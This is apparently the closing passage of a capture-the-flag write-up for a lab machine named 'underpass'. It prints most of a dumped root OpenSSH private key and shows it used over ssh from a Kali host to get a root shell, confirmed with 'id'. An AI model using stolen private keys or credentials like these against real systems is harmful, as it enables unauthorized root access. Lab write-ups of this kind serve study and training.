ZX622BXuc7HDfUI2MxzRHM6STS05pD+3QywoWBsfc9/E/ua3M82JTFfOmohUKbPOFrbKfQ
QXKTLfBG2Ddcj0RLmpT9jiaeVMQqIoiRripgKO60OJ2mWF0PXu/au1UPh+v8NJrRUlH53K
+17cfjBEkDe/Cq9iTKjllDZZ4/WZwSbT6UL5CbgCAI62+B9GbA2NLrcCd/obGGOwSFdrGH
382E/ROeCZ/BVs0Ej10O19tLGXIIvkNj/YmXSDe120oZWpPtyL+TYsJzIvcpPn426xAAAA
wQDeNQPLtlql5vVKWzkgx2y04s71DOQF8J9u++pqXPCn69FgFqKp49qio2IEkgpx9bPrBf
fsReN/pN2j4R3HXa3l6IORCpFRsuqKHr4cdfJJR8NFYCqx6SlwCm6oUF8qU7h19682xGV/
/bAxM7CIrfQXD50OwDw9mIPlDTW6ChfYT7AK5DH4zW7DkNUF54PEgh1uUbkBcsEg3fgb9g
bziLcPAukTur83Uz6TE/ZkDcsVRXjpabYIdJdEGh961UsYP/cAAADBAOxGPtb2NvieTeAl
uHgCD1RcFeoXOm9t/Og0bHfzBb9Xta2lPEhOkuy5cpEt73K2vRYWysyuHNlvcjz9fppbhU
jcuPLheP+aLXJ5k9Z8+WgMAg7Xq7wHUuxEUQQmj2/izLWjJvzdkrhlOXdPRjTV3corjYQG
sRuijkv7wsJ8Dqzn16Cr5s0Vzp9kcwbRlau04PyhxD0ACOwf0eJg+erAnyc4BVPuQrbY07
P8xnFV2jB+NKhyEWJtZPsqkQdjHoRIwwAAAMEAuhdN59Dl/5quvEGF3MBTnKg6FoIObxs5
EGsEFjkxSwdQcravAXhiEqGDKbEonPM5C8UN9K8KRzbPj9K2U60fEDVf/VhAXekuO0r7sC
Ly0fs2z0qkGVem8VTyWTerv6SYUULXiilhyfyMvq9DyBeveiuQrcCevAanfAsLunlCyJQQ
EIudzAmiQGDYjxLbp9MEI71dj9nyLdtukJxTFyW8LFRyzxO9OhPWT1ycP/l79ZvbV6UOAx
dpCRp7i5KVDZRJAAAADnJvb3RAdW5kZXJwYXNzAQIDBA==
-----END OPENSSH PRIVATE KEY-----
root@underpass:~#
# pwnd!
(get the permissions right or ssh will whinge)
┌──(kali㉿Senbonzakura)-[~/under]
└─$ ssh -i id_rsa -vl root underpass.htb
Last login: Thu Dec 19 13:47:27 2024
root@underpass:~# id
uid=0(root) gid=0(root) groups=0(root)
root@underpass:~#
#pwnd! again!
// I would have called the box "Moshpit" but that is me
